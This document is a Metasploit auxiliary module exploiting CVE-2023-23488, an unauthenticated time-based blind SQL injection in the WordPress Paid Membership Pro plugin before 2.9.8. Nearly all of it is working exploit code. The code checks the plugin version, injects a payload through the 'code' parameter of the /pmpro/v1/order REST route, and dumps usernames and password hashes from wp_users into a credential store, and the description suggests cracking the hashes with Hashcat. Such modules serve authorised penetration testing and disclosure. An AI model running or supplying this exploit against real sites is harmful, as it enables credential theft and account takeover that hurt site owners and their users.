Wordpress Paid Membership Pro Code Unauthenticated SQL Injection

`##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
class MetasploitModule < Msf::Auxiliary  
include Msf::Exploit::Remote::HTTP::Wordpress  
include Msf::Auxiliary::Scanner  
include Msf::Exploit::SQLi  
prepend Msf::Exploit::Remote::AutoCheck  
  
def initialize(info = {})  
super(  
update_info(  
info,  
'Name' => 'Wordpress Paid Membership Pro code Unauthenticated SQLi',  
'Description' => %q{  
Paid Membership Pro, a WordPress plugin,  
prior to 2.9.8 is affected by an unauthenticated SQL injection via the  
`code` parameter.  
  
Remote attackers can exploit this vulnerability to dump usernames and password hashes  
from the `wp_users` table of the affected WordPress installation. These password hashes  
can then be cracked offline using tools such as Hashcat to obtain valid login  
credentials for the affected WordPress installation.  
},  
'Author' => [  
'h00die', # msf module  
'Joshua Martinelle', # Original bug discovery and writeup  
],  
'License' => MSF_LICENSE,  
'References' => [  
['CVE', '2023-23488'],  
['URL', 'https://www.tenable.com/security/research/tra-2023-2'],  
],  
'Actions' => [  
['List Users', { 'Description' => 'Queries username, password hash for USER_COUNT users' }]  
],  
'DefaultAction' => 'List Users',  
'DisclosureDate' => '2023-01-12',  
'Notes' => {  
'Stability' => [CRASH_SAFE],  
'SideEffects' => [IOC_IN_LOGS],  
'Reliability' => []  
}  
)  
)  
register_options [  
OptInt.new('USER_COUNT', [true, 'Number of user credentials to enumerate', 3])  
]  
end  
  
def check_host(_ip)  
unless wordpress_and_online?  
return Msf::Exploit::CheckCode::Safe('Server not online or not detected as wordpress')  
end  
  
checkcode = check_plugin_version_from_readme('paid-memberships-pro', '2.9.8')  
if checkcode == Msf::Exploit::CheckCode::Safe  
return Msf::Exploit::CheckCode::Safe('Paid Membership Pro version not vulnerable')  
end  
  
checkcode  
end  
  
def run_host(ip)  
id = Rex::Text.rand_text_numeric(1..10)  
@sqli = create_sqli(dbms: MySQLi::TimeBasedBlind) do |payload|  
res = send_request_cgi({  
'keep_cookies' => true,  
'uri' => normalize_uri(target_uri.path),  
'vars_get' => {  
'rest_route' => '/pmpro/v1/order',  
'code' => "#{id}' OR (select 1 from (select(#{payload}))a)-- -"  
}  
})  
fail_with(Failure::Unreachable, 'Connection failed') unless res  
end  
  
unless @sqli.test_vulnerable  
print_bad("#{peer} - Testing of SQLi failed. If this is time based, try increasing SqliDelay.")  
return  
end  
columns = ['user_login', 'user_pass']  
  
print_status('Enumerating Usernames and Password Hashes')  
print_warning('Each user will take about 5-10 minutes to enumerate. Be patient.')  
data = @sqli.dump_table_fields('wp_users', columns, '', datastore['USER_COUNT'])  
  
table = Rex::Text::Table.new('Header' => 'wp_users', 'Indent' => 1, 'Columns' => columns)  
data.each do |user|  
create_credential({  
workspace_id: myworkspace_id,  
origin_type: :service,  
module_fullname: fullname,  
username: user[0],  
private_type: :nonreplayable_hash,  
jtr_format: Metasploit::Framework::Hashes.identify_hash(user[1]),  
private_data: user[1],  
service_name: 'Wordpress',  
address: ip,  
port: datastore['RPORT'],  
protocol: 'tcp',  
status: Metasploit::Model::Login::Status::UNTRIED  
})  
table << user  
end  
print_good('Dumped table contents:')  
print_line(table.to_s)  
end  
end  
`